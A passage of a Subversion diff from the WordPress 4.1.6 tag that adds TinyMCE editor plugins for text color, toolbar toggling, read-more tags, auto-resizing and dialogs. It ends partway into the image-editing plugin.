+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/textcolor/plugin.min.js	(revision 33402)
@@ -0,0 +1,1 @@
+tinymce.PluginManager.add("textcolor",function(a){function b(b){var c;return a.dom.getParents(a.selection.getStart(),function(a){var d;(d=a.style["forecolor"==b?"color":"background-color"])&&(c=d)}),c}function c(){var b,c,d=[];for(c=a.settings.textcolor_map||["000000","Black","993300","Burnt orange","333300","Dark olive","003300","Dark green","003366","Dark azure","000080","Navy Blue","333399","Indigo","333333","Very dark gray","800000","Maroon","FF6600","Orange","808000","Olive","008000","Green","008080","Teal","0000FF","Blue","666699","Grayish blue","808080","Gray","FF0000","Red","FF9900","Amber","99CC00","Yellow green","339966","Sea green","33CCCC","Turquoise","3366FF","Royal blue","800080","Purple","999999","Medium gray","FF00FF","Magenta","FFCC00","Gold","FFFF00","Yellow","00FF00","Lime","00FFFF","Aqua","00CCFF","Sky blue","993366","Red violet","FFFFFF","White","FF99CC","Pink","FFCC99","Peach","FFFF99","Light yellow","CCFFCC","Pale green","CCFFFF","Pale cyan","99CCFF","Light sky blue","CC99FF","Plum"],b=0;b<c.length;b+=2)d.push({text:c[b+1],color:"#"+c[b]});return d}function d(){function b(a,b){var c="transparent"==a;return'<td class="mce-grid-cell'+(c?" mce-colorbtn-trans":"")+'"><div id="'+n+"-"+o++ +'" data-mce-color="'+(a?a:"")+'" role="option" tabIndex="-1" style="'+(a?"background-color: "+a:"")+'" title="'+tinymce.translate(b)+'">'+(c?"&#215;":"")+"</div></td>"}var d,e,f,g,h,k,l,m=this,n=m._id,o=0;for(d=c(),d.push({text:tinymce.translate("No color"),color:"transparent"}),f='<table class="mce-grid mce-grid-border mce-colorbutton-grid" role="list" cellspacing="0"><tbody>',g=d.length-1,k=0;j>k;k++){for(f+="<tr>",h=0;i>h;h++)l=k*i+h,l>g?f+="<td></td>":(e=d[l],f+=b(e.color,e.text));f+="</tr>"}if(a.settings.color_picker_callback){for(f+='<tr><td colspan="'+i+'" class="mce-custom-color-btn"><div id="'+n+'-c" class="mce-widget mce-btn mce-btn-small mce-btn-flat" role="button" tabindex="-1" aria-labelledby="'+n+'-c" style="width: 100%"><button type="button" role="presentation" tabindex="-1">'+tinymce.translate("Custom...")+"</button></div></td></tr>",f+="<tr>",h=0;i>h;h++)f+=b("","Custom color");f+="</tr>"}return f+="</tbody></table>"}function e(b,c){a.focus(),a.formatter.apply(b,{value:c}),a.nodeChanged()}function f(b){a.focus(),a.formatter.remove(b,{value:null},null,!0),a.nodeChanged()}function g(c){function d(a){j.hidePanel(),j.color(a),e(j.settings.format,a)}function g(a,b){a.style.background=b,a.setAttribute("data-mce-color",b)}var h,j=this.parent();if(tinymce.DOM.getParent(c.target,".mce-custom-color-btn")&&(j.hidePanel(),a.settings.color_picker_callback.call(a,function(a){var b,c,e,f=j.panel.getEl().getElementsByTagName("table")[0];for(b=tinymce.map(f.rows[f.rows.length-1].childNodes,function(a){return a.firstChild}),e=0;e<b.length&&(c=b[e],c.getAttribute("data-mce-color"));e++);if(e==i)for(e=0;i-1>e;e++)g(b[e],b[e+1].getAttribute("data-mce-color"));g(c,a),d(a)},b(j.settings.format))),h=c.target.getAttribute("data-mce-color")){if(this.lastId&&document.getElementById(this.lastId).setAttribute("aria-selected",!1),c.target.setAttribute("aria-selected",!0),this.lastId=c.target.id,"transparent"==h)return f(j.settings.format),void j.hidePanel();d(h)}else null!==h&&j.hidePanel()}function h(){var a=this;a._color&&e(a.settings.format,a._color)}var i,j;j=a.settings.textcolor_rows||5,i=a.settings.textcolor_cols||8,a.addButton("forecolor",{type:"colorbutton",tooltip:"Text color",format:"forecolor",panel:{role:"application",ariaRemember:!0,html:d,onclick:g},onclick:h}),a.addButton("backcolor",{type:"colorbutton",tooltip:"Background color",format:"hilitecolor",panel:{role:"application",ariaRemember:!0,html:d,onclick:g},onclick:h})});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wordpress/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wordpress/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wordpress/plugin.js	(revision 33402)
@@ -0,0 +1,521 @@
+/* global tinymce, getUserSetting, setUserSetting */
+
+// Set the minimum value for the modals z-index higher than #wpadminbar (100000)
+tinymce.ui.FloatPanel.zIndex = 100100;
+
+tinymce.PluginManager.add( 'wordpress', function( editor ) {
+	var DOM = tinymce.DOM, wpAdvButton, modKey, style,
+		last = 0;
+
+	if ( typeof window.jQuery !== 'undefined' ) {
+		window.jQuery( document ).triggerHandler( 'tinymce-editor-setup', [ editor ] );
+	}
+
+	function toggleToolbars( state ) {
+		var iframe, initial, toolbars,
+			pixels = 0;
+
+		initial = ( state === 'hide' );
+
+		if ( editor.theme.panel ) {
+			toolbars = editor.theme.panel.find('.toolbar:not(.menubar)');
+		}
+
+		if ( ! toolbars || toolbars.length < 2 || ( state === 'hide' && ! toolbars[1].visible() ) ) {
+			return;
+		}
+
+		if ( ! state && toolbars[1].visible() ) {
+			state = 'hide';
+		}
+
+		tinymce.each( toolbars, function( toolbar, i ) {
+			if ( i > 0 ) {
+				if ( state === 'hide' ) {
+					toolbar.hide();
+					pixels += 30;
+				} else {
+					toolbar.show();
+					pixels -= 30;
+				}
+			}
+		});
+
+		if ( pixels && ! initial ) {
+			// Resize iframe, not needed in iOS
+			if ( ! tinymce.Env.iOS ) {
+				iframe = editor.getContentAreaContainer().firstChild;
+				DOM.setStyle( iframe, 'height', iframe.clientHeight + pixels );
+			}
+
+			if ( state === 'hide' ) {
+				setUserSetting('hidetb', '0');
+				wpAdvButton && wpAdvButton.active( false );
+			} else {
+				setUserSetting('hidetb', '1');
+				wpAdvButton && wpAdvButton.active( true );
+			}
+		}
+
+		editor.fire( 'wp-toolbar-toggle' );
+	}
+
+	// Add the kitchen sink button :)
+	editor.addButton( 'wp_adv', {
+		tooltip: 'Toolbar Toggle',
+		cmd: 'WP_Adv',
+		onPostRender: function() {
+			wpAdvButton = this;
+			wpAdvButton.active( getUserSetting( 'hidetb' ) === '1' ? true : false );
+		}
+	});
+
+	// Hide the toolbars after loading
+	editor.on( 'PostRender', function() {
+		if ( editor.getParam( 'wordpress_adv_hidden', true ) && getUserSetting( 'hidetb', '0' ) === '0' ) {
+			toggleToolbars( 'hide' );
+		}
+	});
+
+	editor.addCommand( 'WP_Adv', function() {
+		toggleToolbars();
+	});
+
+	editor.on( 'focus', function() {
+        window.wpActiveEditor = editor.id;
+    });
+
+	// Replace Read More/Next Page tags with images
+	editor.on( 'BeforeSetContent', function( e ) {
+		var title;
+
+		if ( e.content ) {
+			if ( e.content.indexOf( '<!--more' ) !== -1 ) {
+				title = editor.editorManager.i18n.translate( 'Read more...' );
+
+				e.content = e.content.replace( /<!--more(.*?)-->/g, function( match, moretext ) {
+					return '<img src="' + tinymce.Env.transparentSrc + '" data-wp-more="more" data-wp-more-text="' + moretext + '" ' +
+						'class="wp-more-tag mce-wp-more" title="' + title + '" data-mce-resize="false" data-mce-placeholder="1" />';
+				});
+			}
+
+			if ( e.content.indexOf( '<!--nextpage-->' ) !== -1 ) {
+				title = editor.editorManager.i18n.translate( 'Page break' );
+
+				e.content = e.content.replace( /<!--nextpage-->/g,
+					'<img src="' + tinymce.Env.transparentSrc + '" data-wp-more="nextpage" class="wp-more-tag mce-wp-nextpage" ' +
+						'title="' + title + '" data-mce-resize="false" data-mce-placeholder="1" />' );
+			}
+
+			if ( e.content.indexOf( '<?"' ) !== -1 ) {
+				e.content = e.content.replace( /<\?"/g, '' );
+			}
+		}
+	});
+
+	// Replace images with tags
+	editor.on( 'PostProcess', function( e ) {
+		if ( e.get ) {
+			e.content = e.content.replace(/<img[^>]+>/g, function( image ) {
+				var match, moretext = '';
+
+				if ( image.indexOf( 'data-wp-more="more"' ) !== -1 ) {
+					if ( match = image.match( /data-wp-more-text="([^"]+)"/ ) ) {
+						moretext = match[1];
+					}
+
+					image = '<!--more' + moretext + '-->';
+				} else if ( image.indexOf( 'data-wp-more="nextpage"' ) !== -1 ) {
+					image = '<!--nextpage-->';
+				}
+
+				return image;
+			});
+		}
+	});
+
+	// Display the tag name instead of img in element path
+	editor.on( 'ResolveName', function( event ) {
+		var attr;
+
+		if ( event.target.nodeName === 'IMG' && ( attr = editor.dom.getAttrib( event.target, 'data-wp-more' ) ) ) {
+			event.name = attr;
+		}
+	});
+
+	// Register commands
+	editor.addCommand( 'WP_More', function( tag ) {
+		var parent, html, title,
+			classname = 'wp-more-tag',
+			dom = editor.dom,
+			node = editor.selection.getNode();
+
+		tag = tag || 'more';
+		classname += ' mce-wp-' + tag;
+		title = tag === 'more' ? 'Read more...' : 'Next page';
+		title = editor.editorManager.i18n.translate( title );
+		html = '<img src="' + tinymce.Env.transparentSrc + '" title="' + title + '" class="' + classname + '" ' +
+			'data-wp-more="' + tag + '" data-mce-resize="false" data-mce-placeholder="1" />';
+
+		// Most common case
+		if ( node.nodeName === 'BODY' || ( node.nodeName === 'P' && node.parentNode.nodeName === 'BODY' ) ) {
+			editor.insertContent( html );
+			return;
+		}
+
+		// Get the top level parent node
+		parent = dom.getParent( node, function( found ) {
+			if ( found.parentNode && found.parentNode.nodeName === 'BODY' ) {
+				return true;
+			}
+
+			return false;
+		}, editor.getBody() );
+
+		if ( parent ) {
+			if ( parent.nodeName === 'P' ) {
+				parent.appendChild( dom.create( 'p', null, html ).firstChild );
+			} else {
+				dom.insertAfter( dom.create( 'p', null, html ), parent );
+			}
+
+			editor.nodeChanged();
+		}
+	});
+
+	editor.addCommand( 'WP_Code', function() {
+		editor.formatter.toggle('code');
+	});
+
+	editor.addCommand( 'WP_Page', function() {
+		editor.execCommand( 'WP_More', 'nextpage' );
+	});
+
+	editor.addCommand( 'WP_Help', function() {
+		editor.windowManager.open({
+			url: tinymce.baseURL + '/wp-mce-help.php',
+			title: 'Keyboard Shortcuts',
+			width: 450,
+			height: 420,
+			classes: 'wp-help',
+			buttons: { text: 'Close', onclick: 'close' }
+		});
+	});
+
+	editor.addCommand( 'WP_Medialib', function() {
+		if ( typeof wp !== 'undefined' && wp.media && wp.media.editor ) {
+			wp.media.editor.open( editor.id );
+		}
+	});
+
+	// Register buttons
+	editor.addButton( 'wp_more', {
+		tooltip: 'Insert Read More tag',
+		onclick: function() {
+			editor.execCommand( 'WP_More', 'more' );
+		}
+	});
+
+	editor.addButton( 'wp_page', {
+		tooltip: 'Page break',
+		onclick: function() {
+			editor.execCommand( 'WP_More', 'nextpage' );
+		}
+	});
+
+	editor.addButton( 'wp_help', {
+		tooltip: 'Keyboard Shortcuts',
+		cmd: 'WP_Help'
+	});
+
+	editor.addButton( 'wp_code', {
+		tooltip: 'Code',
+		cmd: 'WP_Code',
+		stateSelector: 'code'
+	});
+
+	// Menubar
+	// Insert->Add Media
+	if ( typeof wp !== 'undefined' && wp.media && wp.media.editor ) {
+		editor.addMenuItem( 'add_media', {
+			text: 'Add Media',
+			icon: 'wp-media-library',
+			context: 'insert',
+			cmd: 'WP_Medialib'
+		});
+	}
+
+	// Insert "Read More..."
+	editor.addMenuItem( 'wp_more', {
+		text: 'Insert Read More tag',
+		icon: 'wp_more',
+		context: 'insert',
+		onclick: function() {
+			editor.execCommand( 'WP_More', 'more' );
+		}
+	});
+
+	// Insert "Next Page"
+	editor.addMenuItem( 'wp_page', {
+		text: 'Page break',
+		icon: 'wp_page',
+		context: 'insert',
+		onclick: function() {
+			editor.execCommand( 'WP_More', 'nextpage' );
+		}
+	});
+
+	editor.on( 'BeforeExecCommand', function(e) {
+		if ( tinymce.Env.webkit && ( e.command === 'InsertUnorderedList' || e.command === 'InsertOrderedList' ) ) {
+			if ( ! style ) {
+				style = editor.dom.create( 'style', {'type': 'text/css'},
+					'#tinymce,#tinymce span,#tinymce li,#tinymce li>span,#tinymce p,#tinymce p>span{font:medium sans-serif;color:#000;line-height:normal;}');
+			}
+
+			editor.getDoc().head.appendChild( style );
+		}
+	});
+
+	editor.on( 'ExecCommand', function( e ) {
+		if ( tinymce.Env.webkit && style &&
+			( 'InsertUnorderedList' === e.command || 'InsertOrderedList' === e.command ) ) {
+
+			editor.dom.remove( style );
+		}
+	});
+
+	editor.on( 'init', function() {
+		var env = tinymce.Env,
+			bodyClass = ['mceContentBody'], // back-compat for themes that use this in editor-style.css...
+			doc = editor.getDoc(),
+			dom = editor.dom;
+
+		if ( tinymce.Env.iOS ) {
+			dom.addClass( doc.documentElement, 'ios' );
+		}
+
+		if ( editor.getParam( 'directionality' ) === 'rtl' ) {
+			bodyClass.push('rtl');
+			dom.setAttrib( doc.documentElement, 'dir', 'rtl' );
+		}
+
+		if ( env.ie ) {
+			if ( parseInt( env.ie, 10 ) === 9 ) {
+				bodyClass.push('ie9');
+			} else if ( parseInt( env.ie, 10 ) === 8 ) {
+				bodyClass.push('ie8');
+			} else if ( env.ie < 8 ) {
+				bodyClass.push('ie7');
+			}
+		} else if ( env.webkit ) {
+			bodyClass.push('webkit');
+		}
+
+		bodyClass.push('wp-editor');
+
+		tinymce.each( bodyClass, function( cls ) {
+			if ( cls ) {
+				dom.addClass( doc.body, cls );
+			}
+		});
+
+		// Remove invalid parent paragraphs when inserting HTML
+		// TODO: still needed?
+		editor.on( 'BeforeSetContent', function( e ) {
+			if ( e.content ) {
+				e.content = e.content.replace(/<p>\s*<(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre|address)( [^>]*)?>/gi, '<$1$2>');
+				e.content = e.content.replace(/<\/(p|div|ul|ol|dl|table|blockquote|h[1-6]|fieldset|pre|address)>\s*<\/p>/gi, '</$1>');
+			}
+		});
+
+		if ( typeof window.jQuery !== 'undefined' ) {
+			window.jQuery( document ).triggerHandler( 'tinymce-editor-init', [editor] );
+		}
+
+		if ( window.tinyMCEPreInit && window.tinyMCEPreInit.dragDropUpload ) {
+			dom.bind( doc, 'dragstart dragend dragover drop', function( event ) {
+				if ( typeof window.jQuery !== 'undefined' ) {
+					// Trigger the jQuery handlers.
+					window.jQuery( document ).trigger( new window.jQuery.Event( event ) );
+				}
+			});
+		}
+
+		if ( editor.getParam( 'wp_paste_filters', true ) ) {
+			if ( ! tinymce.Env.webkit ) {
+				// In WebKit handled by removeWebKitStyles()
+				editor.on( 'PastePreProcess', function( event ) {
+					// Remove all inline styles
+					event.content = event.content.replace( /(<[^>]+) style="[^"]*"([^>]*>)/gi, '$1$2' );
+
+					// Put back the internal styles
+					event.content = event.content.replace(/(<[^>]+) data-mce-style=([^>]+>)/gi, '$1 style=$2' );
+				});
+			}
+
+			editor.on( 'PastePostProcess', function( event ) {
+				// Remove empty paragraphs
+				tinymce.each( dom.select( 'p', event.node ), function( node ) {
+					if ( dom.isEmpty( node ) ) {
+						dom.remove( node );
+					}
+				});
+			});
+		}
+	});
+
+	// Word count
+	if ( typeof window.jQuery !== 'undefined' ) {
+		editor.on( 'keyup', function( e ) {
+			var key = e.keyCode || e.charCode;
+
+			if ( key === last ) {
+				return;
+			}
+
+			if ( 13 === key || 8 === last || 46 === last ) {
+				window.jQuery( document ).triggerHandler( 'wpcountwords', [ editor.getContent({ format : 'raw' }) ] );
+			}
+
+			last = key;
+		});
+	}
+
+	editor.on( 'SaveContent', function( e ) {
+		// If editor is hidden, we just want the textarea's value to be saved
+		if ( ! editor.inline && editor.isHidden() ) {
+			e.content = e.element.value;
+			return;
+		}
+
+		// Keep empty paragraphs :(
+		e.content = e.content.replace( /<p>(?:<br ?\/?>|\u00a0|\uFEFF| )*<\/p>/g, '<p>&nbsp;</p>' );
+
+		if ( editor.getParam( 'wpautop', true ) && typeof window.switchEditors !== 'undefined' ) {
+			e.content = window.switchEditors.pre_wpautop( e.content );
+		}
+	});
+
+	// Remove spaces from empty paragraphs.
+	editor.on( 'BeforeSetContent', function( event ) {
+		if ( event.content ) {
+			event.content = event.content.replace( /<p>(?:&nbsp;|\u00a0|\uFEFF| )+<\/p>/gi, '<p></p>' );
+		}
+	});
+
+	editor.on( 'preInit', function() {
+		// Don't replace <i> with <em> and <b> with <strong> and don't remove them when empty
+		editor.schema.addValidElements( '@[id|accesskey|class|dir|lang|style|tabindex|title|contenteditable|draggable|dropzone|hidden|spellcheck|translate],i,b' );
+
+		if ( tinymce.Env.iOS ) {
+			editor.settings.height = 300;
+		}
+	});
+
+	// Add custom shortcuts
+	modKey = 'alt+shift';
+
+	editor.addShortcut( modKey + '+c', '', 'JustifyCenter' );
+	editor.addShortcut( modKey + '+r', '', 'JustifyRight' );
+	editor.addShortcut( modKey + '+l', '', 'JustifyLeft' );
+	editor.addShortcut( modKey + '+j', '', 'JustifyFull' );
+	editor.addShortcut( modKey + '+q', '', 'mceBlockQuote' );
+	editor.addShortcut( modKey + '+u', '', 'InsertUnorderedList' );
+	editor.addShortcut( modKey + '+o', '', 'InsertOrderedList' );
+	editor.addShortcut( modKey + '+n', '', 'mceSpellCheck' );
+	editor.addShortcut( modKey + '+s', '', 'unlink' );
+	editor.addShortcut( modKey + '+m', '', 'WP_Medialib' );
+	editor.addShortcut( modKey + '+z', '', 'WP_Adv' );
+	editor.addShortcut( modKey + '+t', '', 'WP_More' );
+	editor.addShortcut( modKey + '+d', '', 'Strikethrough' );
+	editor.addShortcut( modKey + '+h', '', 'WP_Help' );
+	editor.addShortcut( modKey + '+p', '', 'WP_Page' );
+	editor.addShortcut( modKey + '+x', '', 'WP_Code' );
+	editor.addShortcut( 'ctrl+s', '', function() {
+		if ( typeof wp !== 'undefined' && wp.autosave ) {
+			wp.autosave.server.triggerSave();
+		}
+	});
+
+	// popup buttons for the gallery, etc.
+	editor.on( 'init', function() {
+		editor.dom.bind( editor.getWin(), 'scroll', function() {
+			_hideButtons();
+		});
+
+		editor.dom.bind( editor.getBody(), 'dragstart', function() {
+			_hideButtons();
+		});
+	});
+
+	editor.on( 'BeforeExecCommand', function() {
+		_hideButtons();
+	});
+
+	editor.on( 'SaveContent', function() {
+		_hideButtons();
+	});
+
+	editor.on( 'MouseDown', function( e ) {
+		if ( e.target.nodeName !== 'IMG' ) {
+			_hideButtons();
+		}
+	});
+
+	editor.on( 'keydown', function( e ) {
+		if ( e.which === tinymce.util.VK.DELETE || e.which === tinymce.util.VK.BACKSPACE ) {
+			_hideButtons();
+		}
+	});
+
+	// Internal functions
+	function _setEmbed( c ) {
+		return c.replace( /\[embed\]([\s\S]+?)\[\/embed\][\s\u00a0]*/g, function( a, b ) {
+			return '<img width="300" height="200" src="' + tinymce.Env.transparentSrc + '" class="wp-oembed" ' +
+				'alt="'+ b +'" title="'+ b +'" data-mce-resize="false" data-mce-placeholder="1" />';
+		});
+	}
+
+	function _getEmbed( c ) {
+		return c.replace( /<img[^>]+>/g, function( a ) {
+			if ( a.indexOf('class="wp-oembed') !== -1 ) {
+				var u = a.match( /alt="([^\"]+)"/ );
+
+				if ( u[1] ) {
+					a = '[embed]' + u[1] + '[/embed]';
+				}
+			}
+
+			return a;
+		});
+	}
+
+	function _showButtons( n, id ) {
+		var p1, p2, vp, X, Y;
+
+		vp = editor.dom.getViewPort( editor.getWin() );
+		p1 = DOM.getPos( editor.getContentAreaContainer() );
+		p2 = editor.dom.getPos( n );
+
+		X = Math.max( p2.x - vp.x, 0 ) + p1.x;
+		Y = Math.max( p2.y - vp.y, 0 ) + p1.y;
+
+		DOM.setStyles( id, {
+			'top' : Y + 5 + 'px',
+			'left' : X + 5 + 'px',
+			'display': 'block'
+		});
+	}
+
+	function _hideButtons() {
+		DOM.hide( DOM.select( '#wp_editbtns, #wp_gallerybtns' ) );
+	}
+
+	// Expose some functions (back-compat)
+	return {
+		_showButtons: _showButtons,
+		_hideButtons: _hideButtons,
+		_setEmbed: _setEmbed,
+		_getEmbed: _getEmbed
+	};
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpautoresize/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpautoresize/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpautoresize/plugin.js	(revision 33402)
@@ -0,0 +1,207 @@
+/**
+ * plugin.js
+ *
+ * Copyright, Moxiecode Systems AB
+ * Released under LGPL License.
+ *
+ * License: http://www.tinymce.com/license
+ * Contributing: http://www.tinymce.com/contributing
+ */
+
+// Forked for WordPress so it can be turned on/off after loading.
+
+/*global tinymce:true */
+/*eslint no-nested-ternary:0 */
+
+/**
+ * Auto Resize
+ *
+ * This plugin automatically resizes the content area to fit its content height.
+ * It will retain a minimum height, which is the height of the content area when
+ * it's initialized.
+ */
+tinymce.PluginManager.add( 'wpautoresize', function( editor ) {
+	var settings = editor.settings,
+		oldSize = 300,
+		isActive = false;
+
+	function isFullscreen() {
+		return editor.plugins.fullscreen && editor.plugins.fullscreen.isFullscreen();
+	}
+
+	if ( editor.settings.inline ) {
+		return;
+	}
+
+	function getInt( n ) {
+		return parseInt( n, 10 ) || 0;
+	}
+
+	/**
+	 * This method gets executed each time the editor needs to resize.
+	 */
+	function resize( e ) {
+		var deltaSize, doc, body, docElm, DOM = tinymce.DOM, resizeHeight, myHeight,
+			marginTop, marginBottom, paddingTop, paddingBottom, borderTop, borderBottom;
+
+		if ( ! isActive ) {
+			return;
+		}
+
+		doc = editor.getDoc();
+		if ( ! doc ) {
+			return;
+		}
+
+		e = e || {};
+		body = doc.body;
+		docElm = doc.documentElement;
+		resizeHeight = settings.autoresize_min_height;
+
+		if ( ! body || ( e && e.type === 'setcontent' && e.initial ) || isFullscreen() ) {
+			if ( body && docElm ) {
+				body.style.overflowY = 'auto';
+				docElm.style.overflowY = 'auto'; // Old IE
+			}
+
+			return;
+		}
+
+		// Calculate outer height of the body element using CSS styles
+		marginTop = editor.dom.getStyle( body, 'margin-top', true );
+		marginBottom = editor.dom.getStyle( body, 'margin-bottom', true );
+		paddingTop = editor.dom.getStyle( body, 'padding-top', true );
+		paddingBottom = editor.dom.getStyle( body, 'padding-bottom', true );
+		borderTop = editor.dom.getStyle( body, 'border-top-width', true );
+		borderBottom = editor.dom.getStyle( body, 'border-bottom-width', true );
+		myHeight = body.offsetHeight + getInt( marginTop ) + getInt( marginBottom ) +
+			getInt( paddingTop ) + getInt( paddingBottom ) +
+			getInt( borderTop ) + getInt( borderBottom );
+
+		// IE < 11, other?
+		if ( myHeight && myHeight < docElm.offsetHeight ) {
+			myHeight = docElm.offsetHeight;
+		}
+
+		// Make sure we have a valid height
+		if ( isNaN( myHeight ) || myHeight <= 0 ) {
+			// Get height differently depending on the browser used
+			myHeight = tinymce.Env.ie ? body.scrollHeight : ( tinymce.Env.webkit && body.clientHeight === 0 ? 0 : body.offsetHeight );
+		}
+
+		// Don't make it smaller than the minimum height
+		if ( myHeight > settings.autoresize_min_height ) {
+			resizeHeight = myHeight;
+		}
+
+		// If a maximum height has been defined don't exceed this height
+		if ( settings.autoresize_max_height && myHeight > settings.autoresize_max_height ) {
+			resizeHeight = settings.autoresize_max_height;
+			body.style.overflowY = 'auto';
+			docElm.style.overflowY = 'auto'; // Old IE
+		} else {
+			body.style.overflowY = 'hidden';
+			docElm.style.overflowY = 'hidden'; // Old IE
+			body.scrollTop = 0;
+		}
+
+		// Resize content element
+		if (resizeHeight !== oldSize) {
+			deltaSize = resizeHeight - oldSize;
+			DOM.setStyle( editor.iframeElement, 'height', resizeHeight + 'px' );
+			oldSize = resizeHeight;
+
+			// WebKit doesn't decrease the size of the body element until the iframe gets resized
+			// So we need to continue to resize the iframe down until the size gets fixed
+			if ( tinymce.isWebKit && deltaSize < 0 ) {
+				resize( e );
+			}
+
+			editor.fire( 'wp-autoresize', { height: resizeHeight, deltaHeight: e.type === 'nodechange' ? deltaSize : null } );
+		}
+	}
+
+	/**
+	 * Calls the resize x times in 100ms intervals. We can't wait for load events since
+	 * the CSS files might load async.
+	 */
+	function wait( times, interval, callback ) {
+		setTimeout( function() {
+			resize();
+
+			if ( times-- ) {
+				wait( times, interval, callback );
+			} else if ( callback ) {
+				callback();
+			}
+		}, interval );
+	}
+
+	// Define minimum height
+	settings.autoresize_min_height = parseInt(editor.getParam( 'autoresize_min_height', editor.getElement().offsetHeight), 10 );
+
+	// Define maximum height
+	settings.autoresize_max_height = parseInt(editor.getParam( 'autoresize_max_height', 0), 10 );
+
+	function on() {
+		if ( ! editor.dom.hasClass( editor.getBody(), 'wp-autoresize' ) ) {
+			isActive = true;
+			editor.dom.addClass( editor.getBody(), 'wp-autoresize' );
+			// Add appropriate listeners for resizing the content area
+			editor.on( 'nodechange setcontent keyup FullscreenStateChanged', resize );
+			resize();
+		}
+	}
+
+	function off() {
+		var doc;
+
+		// Don't turn off if the setting is 'on'
+		if ( ! settings.wp_autoresize_on ) {
+			isActive = false;
+			doc = editor.getDoc();
+			editor.dom.removeClass( editor.getBody(), 'wp-autoresize' );
+			editor.off( 'nodechange setcontent keyup FullscreenStateChanged', resize );
+			doc.body.style.overflowY = 'auto';
+			doc.documentElement.style.overflowY = 'auto'; // Old IE
+			oldSize = 0;
+		}
+	}
+
+	if ( settings.wp_autoresize_on ) {
+		// Turn resizing on when the editor loads
+		isActive = true;
+
+		editor.on( 'init', function() {
+			editor.dom.addClass( editor.getBody(), 'wp-autoresize' );
+		});
+
+		editor.on( 'nodechange keyup FullscreenStateChanged', resize );
+
+		editor.on( 'setcontent', function() {
+			wait( 3, 100 );
+		});
+
+		if ( editor.getParam( 'autoresize_on_init', true ) ) {
+			editor.on( 'init', function() {
+				// Hit it 10 times in 200 ms intervals
+				wait( 10, 200, function() {
+					// Hit it 5 times in 1 sec intervals
+					wait( 5, 1000 );
+				});
+			});
+		}
+	}
+
+	// Reset the stored size
+	editor.on( 'show', function() {
+		oldSize = 0;
+	});
+
+	// Register the command
+	editor.addCommand( 'wpAutoResize', resize );
+
+	// On/off
+	editor.addCommand( 'wpAutoResizeOn', on );
+	editor.addCommand( 'wpAutoResizeOff', off );
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpdialogs/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpdialogs/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpdialogs/plugin.js	(revision 33402)
@@ -0,0 +1,92 @@
+/* global tinymce */
+/**
+ * Included for back-compat.
+ * The default WindowManager in TinyMCE 4.0 supports three types of dialogs:
+ *	- With HTML created from JS.
+ *	- With inline HTML (like WPWindowManager).
+ *	- Old type iframe based dialogs.
+ * For examples see the default plugins: https://github.com/tinymce/tinymce/tree/master/js/tinymce/plugins
+ */
+tinymce.WPWindowManager = tinymce.InlineWindowManager = function( editor ) {
+	if ( this.wp ) {
+		return this;
+	}
+
+	this.wp = {};
+	this.parent = editor.windowManager;
+	this.editor = editor;
+
+	tinymce.extend( this, this.parent );
+
+	this.open = function( args, params ) {
+		var $element,
+			self = this,
+			wp = this.wp;
+
+		if ( ! args.wpDialog ) {
+			return this.parent.open.apply( this, arguments );
+		} else if ( ! args.id ) {
+			return;
+		}
+
+		if ( typeof jQuery === 'undefined' || ! jQuery.wp || ! jQuery.wp.wpdialog ) {
+			// wpdialog.js is not loaded
+			if ( window.console && window.console.error ) {
+				window.console.error('wpdialog.js is not loaded. Please set "wpdialogs" as dependency for your script when calling wp_enqueue_script(). You may also want to enqueue the "wp-jquery-ui-dialog" stylesheet.');
+			}
+
+			return;
+		}
+
+		wp.$element = $element = jQuery( '#' + args.id );
+
+		if ( ! $element.length ) {
+			return;
+		}
+
+		if ( window.console && window.console.log ) {
+			window.console.log('tinymce.WPWindowManager is deprecated. Use the default editor.windowManager to open dialogs with inline HTML.');
+		}
+
+		wp.features = args;
+		wp.params = params;
+
+		// Store selection. Takes a snapshot in the FocusManager of the selection before focus is moved to the dialog.
+		editor.nodeChanged();
+
+		// Create the dialog if necessary
+		if ( ! $element.data('wpdialog') ) {
+			$element.wpdialog({
+				title: args.title,
+				width: args.width,
+				height: args.height,
+				modal: true,
+				dialogClass: 'wp-dialog',
+				zIndex: 300000
+			});
+		}
+
+		$element.wpdialog('open');
+
+		$element.on( 'wpdialogclose', function() {
+			if ( self.wp.$element ) {
+				self.wp = {};
+			}
+		});
+	};
+
+	this.close = function() {
+		if ( ! this.wp.features || ! this.wp.features.wpDialog ) {
+			return this.parent.close.apply( this, arguments );
+		}
+
+		this.wp.$element.wpdialog('close');
+	};
+};
+
+tinymce.PluginManager.add( 'wpdialogs', function( editor ) {
+	// Replace window manager
+	editor.on( 'init', function() {
+		editor.windowManager = new tinymce.WPWindowManager( editor );
+	});
+});
Index: /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpeditimage/plugin.js
===================================================================
--- /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpeditimage/plugin.js	(revision 33402)
+++ /tags/4.1.6/src/wp-includes/js/tinymce/plugins/wpeditimage/plugin.js	(revision 33402)
@@ -0,0 +1,1227 @@
+/* global tinymce */
+tinymce.PluginManager.add( 'wpeditimage', function( editor ) {
+	var floatingToolbar, serializer,
+		DOM = tinymce.DOM,
+		settings = editor.settings,
+		Factory = tinymce.ui.Factory,
+		each = tinymce.each,
+		iOS = tinymce.Env.iOS,
+		toolbarIsHidden = true,
+		editorWrapParent = tinymce.$( '#postdivrich' );
+
+	function isPlaceholder( node ) {
+		return !! ( editor.dom.getAttrib( node, 'data-mce-placeholder' ) || editor.dom.getAttrib( node, 'data-mce-object' ) );
+	}
+
+	editor.addButton( 'wp_img_remove', {
+		tooltip: 'Remove',
+		icon: 'dashicon dashicons-no',
+		onclick: function() {
+			removeImage( editor.selection.getNode() );
+		}
+	} );
+
+	editor.addButton( 'wp_img_edit', {
+		tooltip: 'Edit ', // trailing space is needed, used for context
